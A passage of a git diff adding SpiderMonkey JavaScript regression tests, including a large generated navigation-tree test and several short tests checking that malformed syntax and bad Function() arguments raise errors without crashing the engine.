+ var navElement = navigationLink("I through K ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx19.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("L ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx20.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("M ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx21.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("N ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx22.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("O ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx23.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("P ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx24.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Q ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx25.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("R ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx26.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("S ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx27.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("T ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx28.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("U ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx29.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("V through Z ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx30.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Index of ASN.1 IDs ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx31.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("0 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx32.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("1 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx33.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("2 through 2.4 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx34.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("2.5 through 2.9 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx35.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Index of LDAP Names ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx36.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("A through B ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx37.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("C ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx38.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("D ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx39.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("E through F ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx40.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("G ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx41.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("H ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx42.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("I through K ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx43.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("L ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx44.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("M ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx45.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("N ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx46.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("O ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx47.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("P ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx48.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Q through R ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx49.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("S ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx50.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("T ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx51.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("U through Z ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/schidx52.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Iterator Services ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hnv8aaj7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Concepts ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hj3udfo7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Iterator Objects ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hwiuqovp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Creation of an Iterator Object ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hrb7xece.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Iterator Indexes ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hqngpqag.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Positions of an Iterator Object ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/h25zhm0d.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Current Position Movement with Retrieval Functions ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hn9jdbnd.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Retrieval of Data ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hy7j1t07.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Tasks ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/huypg52u.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Creating a Search Iterator Object ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hcyx2utx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Retrieving and Unpacking Object and Attribute Name Data ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/h9evr0ru.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Retrieving and Unpacking Object, Attribute, and Value Data ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/htq89y7t.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Functions ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/h7qwv271.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrAtEOF ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk29.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrAtFirst ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk36.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrClone ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk43.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrCount ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk50.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrCreateList ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk57.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrCreateSearch ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk64.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrDestroy ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk71.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetCurrent ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk77.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetInfo ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk84.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetNext ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk91.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetPosition ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk98.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrGetPrev ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk105.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrSetPosition ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk112.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrSetPositionFromIterator ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk119.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrSkip ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk126.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSItrTypeDown ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/sdk133.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Iterator Example Code ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hw9m9u6o.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Cloning an Iterator Object: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hur66hmi.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Counting with NDS Iterators: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hgllfzfg.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Creating and Using a List Iterator: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hfnbz1tw.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Creating a Search Iterator and Displaying the Results: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hhe6xegc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Getting Iterator Information: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hfg59w8k.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Getting and Setting the Iterator's Position: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hh03dp06.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Listing in Reverse Order: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hsj5zfs1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Positioning the Iterator with Typedown: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/hqvieqdk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Skipping Objects in the List: Example ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/ho81tg5d.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/skds_enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ if (currentLevel > 1) currentLevel--
+
+ reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-114491.js b/js/src/tests/non262/regress/regress-114491.js
new file mode 100644
index 0000000000..097221a45d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-114491.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 December 2001
+ * SUMMARY: Regression test for bug 114491
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=114491
+ *
+ * Rhino crashed on this code. It should produce a syntax error, not a crash.
+ * Using the () operator after a function STATEMENT is incorrect syntax.
+ * Rhino correctly caught the error when there was no |if (true)|.
+ * With the |if (true)|, however, Rhino crashed -
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 114491;
+var summary = 'Regression test for bug 114491';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = 'Program execution did NOT fall into catch-block';
+expect = 'Program execution fell into into catch-block';
+try
+{
+ var sEval = 'if (true) function f(){}()';
+ eval(sEval);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-114493.js b/js/src/tests/non262/regress/regress-114493.js
new file mode 100644
index 0000000000..3a6089d7d9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-114493.js
@@ -0,0 +1,77 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 December 2001
+ * SUMMARY: Regression test for bug 114493
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=114493
+ *
+ * Rhino crashed on this code. It should produce a syntax error, not a crash.
+ * Note that "3"[5] === undefined, and Rhino correctly gave an error if you
+ * tried to use the call operator on |undefined|:
+ *
+ * js> undefined();
+ * js: TypeError: undefined is not a function.
+ *
+ * However, Rhino CRASHED if you tried to do "3"[5]().
+ *
+ * Rhino would NOT crash if you tried "3"[0]() or "3"[5]. Only array indices
+ * that were out of bounds, followed by the call operator, would crash.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 114493;
+var summary = 'Regression test for bug 114493';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var sEval = '';
+
+
+status = inSection(1);
+actual = 'Program execution did NOT fall into catch-block';
+expect = 'Program execution fell into into catch-block';
+try
+{
+ sEval = '"3"[5]()';
+ eval(sEval);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-116228.js b/js/src/tests/non262/regress/regress-116228.js
new file mode 100644
index 0000000000..7556d43336
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-116228.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 116228;
+var summary = 'Do not crash - JSOP_THIS should null obj register';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = {};
+obj.toString = function() {return this();}
+ try
+ {
+ obj.toString();
+ }
+ catch(e)
+ {
+ }
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-118849.js b/js/src/tests/non262/regress/regress-118849.js
new file mode 100644
index 0000000000..52a03bc028
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-118849.js
@@ -0,0 +1,149 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 08 Jan 2002
+ * SUMMARY: Just testing that we don't crash on this code
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=118849
+ *
+ * http://developer.netscape.com:80/docs/manuals/js/core/jsref/function.htm
+ * The Function constructor:
+ * Function ([arg1[, arg2[, ... argN]],] functionBody)
+ *
+ * Parameters
+ * arg1, arg2, ... argN
+ * (Optional) Names to be used by the function as formal argument names.
+ * Each must be a string that corresponds to a valid JavaScript identifier.
+ *
+ * functionBody
+ * A string containing JS statements comprising the function definition.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 118849;
+var summary = 'Should not crash if we provide Function() with bad arguments'
+ var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var cnFAIL_1 = 'LEGAL call to Function() caused an ERROR!!!';
+var cnFAIL_2 = 'ILLEGAL call to Function() FAILED to cause an error';
+var cnSTRING = 'ASDF';
+var cnNUMBER = 123;
+
+
+/***********************************************************/
+/**** THESE ARE LEGITMATE CALLS AND SHOULD ALL SUCCEED ***/
+/***********************************************************/
+status = inSection(1);
+actual = cnFAIL_1; // initialize to failure
+try
+{
+ Function(cnSTRING);
+ Function(cnNUMBER); // cnNUMBER is a valid functionBody
+ Function(cnSTRING,cnSTRING);
+ Function(cnSTRING,cnNUMBER);
+ Function(cnSTRING,cnSTRING,cnNUMBER);
+
+ new Function(cnSTRING);
+ new Function(cnNUMBER);
+ new Function(cnSTRING,cnSTRING);
+ new Function(cnSTRING,cnNUMBER);
+ new Function(cnSTRING,cnSTRING,cnNUMBER);
+
+ actual = expect;
+}
+catch(e)
+{
+}
+addThis();
+
+
+
+/**********************************************************/
+/*** EACH CASE THAT FOLLOWS SHOULD TRIGGER AN ERROR ***/
+/*** (BUT NOT A CRASH) ***/
+/*** NOTE WE NOW USE cnFAIL_2 INSTEAD OF cnFAIL_1 ***/
+/**********************************************************/
+status = inSection(2);
+actual = cnFAIL_2;
+try
+{
+ Function(cnNUMBER,cnNUMBER); // cnNUMBER is an invalid JS identifier name
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+status = inSection(3);
+actual = cnFAIL_2;
+try
+{
+ Function(cnNUMBER,cnSTRING,cnSTRING);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+status = inSection(4);
+actual = cnFAIL_2;
+try
+{
+ new Function(cnNUMBER,cnNUMBER);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+status = inSection(5);
+actual = cnFAIL_2;
+try
+{
+ new Function(cnNUMBER,cnSTRING,cnSTRING);
+}
+catch(e)
+{
+ actual = expect;
+}
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-131510-001.js b/js/src/tests/non262/regress/regress-131510-001.js
new file mode 100644
index 0000000000..bf4d605b41
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-131510-001.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 Mar 2002
+ * SUMMARY: Shouldn't crash if define |var arguments| inside a function
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=131510
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 131510;
+var summary = "Shouldn't crash if define |var arguments| inside a function";
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+
+function f() {var arguments;}
+f();
+
+
+/*
+ * Put same example in function scope instead of global scope
+ */
+function g() { function f() {var arguments;}; f();};
+g();
+
+
+/*
+ * Put these examples in eval scope
+ */
+var s = 'function f() {var arguments;}; f();';
+eval(s);
+
+s = 'function g() { function f() {var arguments;}; f();}; g();';
+eval(s);
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-1383630.js b/js/src/tests/non262/regress/regress-1383630.js
new file mode 100644
index 0000000000..8ce3074af3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1383630.js
@@ -0,0 +1,827 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* These tests are not checking whether an exception is thrown or not for
+ * proxies: those tests should already exist in js/src/tests/non262/Proxy .
+ * We expect TypeErrors to be thrown in these tests, with a stringification
+ * of the error message showing whatever property name the error is being
+ * reported for.
